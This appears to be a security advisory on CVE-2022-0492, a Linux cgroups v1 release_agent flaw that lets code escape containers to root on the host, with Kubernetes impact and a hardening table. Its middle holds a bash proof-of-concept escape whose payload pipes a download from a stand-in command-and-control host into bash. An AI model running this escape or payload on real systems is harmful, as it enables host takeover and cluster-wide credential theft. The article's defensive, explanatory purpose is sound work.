Cloud Workload Threat: Container Boundaries Breached at the Kernel Tier
The Cybersecurity and Infrastructure Security Agency (CISA) has issued an operational update adding CVE-2022-0492 to its Known Exploited Vulnerabilities (KEV) catalog. The vulnerability represents one of the most critical container boundary breakout mechanisms discovered in the Linux Kernel, carrying a severity rating of CVSS 8.8 (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).
Control groups (cgroups) form the foundational operating system isolation pillar for modern container runtimes, including Docker, containerd, and Kubernetes (EKS, AKS, GKE). Cgroups partition system hardware resources—CPU, memory, disk I/O, and network bandwidth—among distinct process hierarchies. When weaponized, CVE-2022-0492 allows an attacker who has compromised an application inside a container to break out of the containerized sandbox and execute arbitrary code as root on the underlying physical or virtual host node.
Vulnerability Deep Dive: The cgroups v1 release_agent Breakdown
The flaw resides within the legacy cgroups v1 implementation in kernel/cgroup/cgroup-v1.c:
- The release_agent Mechanism: In cgroups v1, administrators can configure an automated cleanup script (known as
release_agent). When all processes within a specific cgroup terminate, the Linux kernel invokes this script directly in the root namespace of the host operating system. - Missing Capability Validation: Setting the path to the
release_agentscript via the cgroup filesystem should strictly require theCAP_SYS_ADMINcapability in the initial user namespace. However, prior to kernel 5.17, the kernel only verified whether the process had write access to therelease_agentfile itself. - User Namespace Exploitation: If a container is run with a new user namespace (or if an unprivileged container can unshare its user and mount namespaces), the container process acquires administrative privileges within its local namespace. It can then mount an ephemeral cgroup tree, write a malicious script into the host filesystem (leveraging container upperdir overlay paths), configure the
release_agentfile, and trigger execution on the host.
#!/bin/bash
# Container Breakout Proof-of-Concept via CVE-2022-0492
# Executed inside compromised container container:
# 1. Mount ephemeral cgroup hierarchy
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
# 2. Enable notifications on release
echo 1 > /tmp/cgrp/x/notify_on_release
# 3. Locate container root path in host overlay filesystem
host_path=$(grep -oP 'upperdir=\K[^,]+' /etc/mtab)
# 4. Write payload script into container root (accessible by host kernel)
echo "#!/bin/sh" > /escape.sh
echo "curl -s http://c2.adversary.org/beacon | bash" >> /escape.sh
chmod +x /escape.sh
# 5. Set host release_agent to point to the payload in host overlay
echo "$host_path/escape.sh" > /tmp/cgrp/release_agent
# 6. Trigger cgroup cleanup by spawning and immediately terminating a process
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"
# Host kernel executes /escape.sh with full root privileges outside container!
Cloud Architecture Impact in Multi-Tenant Kubernetes Clusters
Once a threat actor achieves node-level escape via CVE-2022-0492, the security posture of the entire Kubernetes cluster collapses:
- Kubelet Credential Compromise: The attacker accesses the node's Kubelet bootstrap tokens and client certificates stored in
/var/lib/kubelet/pki/, masquerading as the node against the Kubernetes API server. - Neighboring Container Inspection: Attackers read secrets, environment variables, and encrypted data volumes mounted by neighboring pods scheduled on the same worker node.
- Cloud IAM Metadata Harvesting: The adversary queries the cloud provider's instance metadata service (AWS IMDS, GCP metadata server) to steal the node's IAM role credentials, pivoting laterally into cloud infrastructure.
Remediation Checklist & Hardening Playbook
| Defensive Layer | Technical Action | Implementation Command |
|---|---|---|
| Kernel Upgrade | Patch Host Operating System | Upgrade Linux kernel to release 5.17 or higher (or vendor backported kernel builds). |
| cgroups v2 Migration | Enable Unified Hierarchy | Boot host with systemd.unified_cgroup_hierarchy=1. cgroups v2 deprecates the vulnerable release_agent design. |
| Security Profiles | Enforce AppArmor / Seccomp | Ensure container runtimes enforce default AppArmor or seccomp profiles, which block unshare and cgroup mount calls. |
| Kubernetes Security | Restricted Pod Security Standard | Enforce pod-security.kubernetes.io/enforce: restricted to forbid privileged containers and prevent capability escalation. |



